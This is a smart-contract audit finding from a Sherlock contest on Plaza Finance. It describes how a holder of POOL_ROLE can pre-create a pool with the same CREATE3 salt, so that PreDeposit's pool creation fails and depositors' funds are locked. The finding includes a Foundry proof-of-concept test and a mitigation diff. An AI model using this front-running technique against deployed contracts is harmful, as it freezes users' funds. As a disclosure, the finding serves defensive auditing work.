Shaggy Clay Cobra

Medium

# Launch seeding users will lose funds because `PreDeposit` is DoS

### Summary

The malicious POOL_ROLE can create a identical pool with the one will be created by `PreDeposit` contract to DoS the `PreDeposit` contract and lock all users funds there

### Root Cause

The [function `PreDeposit::createPool()`](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/PreDeposit.sol#L149-L158) is used to create a new pool after the deposit period ends. The function call `Factory::createPool()` to deploy the Pool
```solidity
  function createPool() external nonReentrant whenNotPaused checkDepositEnded {
    if (reserveAmount == 0) revert NoReserveAmount();
    if (bondAmount == 0 || leverageAmount == 0) revert InvalidBondOrLeverageAmount();
    if (poolCreated) revert PoolAlreadyCreated();
    IERC20(params.reserveToken).approve(address(factory), reserveAmount);
@>    pool = factory.createPool(params, reserveAmount, bondAmount, leverageAmount, bondName, bondSymbol, leverageName, leverageSymbol, true);

    emit PoolCreated(pool);
    poolCreated = true;
  }
```

The [function `Factory::createPool()`](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/PoolFactory.sol#L124-L240) used the params passed from `PreDeposit` contract to deploy the Pool contract with by `create3`, which is a function from `Create3` library. Create3's address derivation depends on EVM native opcode `create2` and `salt`, but not the creation code. Here, salt value is `keccak256(abi.encodePacked(params.reserveToken,params.couponToken,bondToken.symbol(),lToken.symbol()))`. 
```solidity
  function createPool(
    PoolParams calldata params,
    uint256 reserveAmount,
    uint256 bondAmount,
    uint256 leverageAmount,
    string memory bondName,
    string memory bondSymbol,
    string memory leverageName,
    string memory leverageSymbol,
    bool pauseOnCreation
  ) external whenNotPaused() onlyRole(POOL_ROLE) returns (address) {

    ...

@>    address pool = Create3.create3(
      keccak256(
        abi.encodePacked(
          params.reserveToken,
          params.couponToken,
          bondToken.symbol(),
          lToken.symbol()
        )
      ),
      abi.encodePacked(
        type(BeaconProxy).creationCode,
        abi.encode(poolBeacon, initData)
      )
    );
...
```
The problem arises when the same salt is used before the function `PreDeposit::createPool()` called. In this scenario, the function call `PreDeposit::createPool()` will fail because the target deployed address is already used. 
Since the `PreDeposit` contract must pass the deposit period to be able to create pool, then the malicious POOL_ROLE can have enough time to create a pool with the same params (pool params and tokens symbols) beforehand to DoS the `PreDeposit` contract

### Internal Pre-conditions

_No response_

### External Pre-conditions

_No response_

### Attack Path

1. `PreDeposit` contract is deployed
2. Users deposit funds to `PreDeposit`
3. During deposit period, a malicious user with role `POOL_ROLE` calls `Factory::createPool()` with the same pool params, tokens symbols as used in `PreDeposit` contract
4. After Deposit period, the call `PreDeposit::createPool()` fails

### Impact

- `PreDeposit` contract is DoS
- Users funds stuck in the contract

### PoC

Add this test to `PreDeposit.t.sol`:

```solidity
  function testCreatePool_DoS() public {
    // @audit PoC: pool creation DoS by malicious POOL_ROLE
    vm.startPrank(user1);
    reserveToken.approve(address(preDeposit), DEPOSIT_AMOUNT);
    preDeposit.deposit(DEPOSIT_AMOUNT);
    vm.stopPrank();

    vm.startPrank(governance);
    preDeposit.setBondAndLeverageAmount(BOND_AMOUNT, LEVERAGE_AMOUNT);
    vm.warp(block.timestamp + 8 days); // After deposit period

    poolFactory.grantRole(poolFactory.POOL_ROLE(), address(preDeposit));


    // malicious POOL ROLE
    address maliciousPoolRole = makeAddr('malicious pool role');
    poolFactory.grantRole(poolFactory.POOL_ROLE(), address(maliciousPoolRole));
    reserveToken.mint(maliciousPoolRole, INITIAL_BALANCE);
    vm.startPrank(maliciousPoolRole);
    reserveToken.approve(address(poolFactory), 1);

    // create pool by POOL_ROLE with the same params, token names
    poolFactory.createPool(params, 1, 1, 1, "", "", "", "", true);

    preDeposit.createPool();
    assertNotEq(preDeposit.pool(), address(0));
    vm.stopPrank();
  }
```

Run the test and it fails
```bash
Failing tests:
Encountered 1 failing test in test/PreDeposit.t.sol:PreDepositTest
[FAIL: TargetAlreadyExists()] testCreatePool_DoS() (gas: 2836208)
```

### Mitigation

```diff
    address pool = Create3.create3(
      keccak256(
        abi.encodePacked(
          params.reserveToken,
          params.couponToken,
          bondToken.symbol(),
-          lToken.symbol()
+          lToken.symbol(),
+          msg.sender
        )
      ),
      abi.encodePacked(
        type(BeaconProxy).creationCode,
        abi.encode(poolBeacon, initData)
      )
    );
```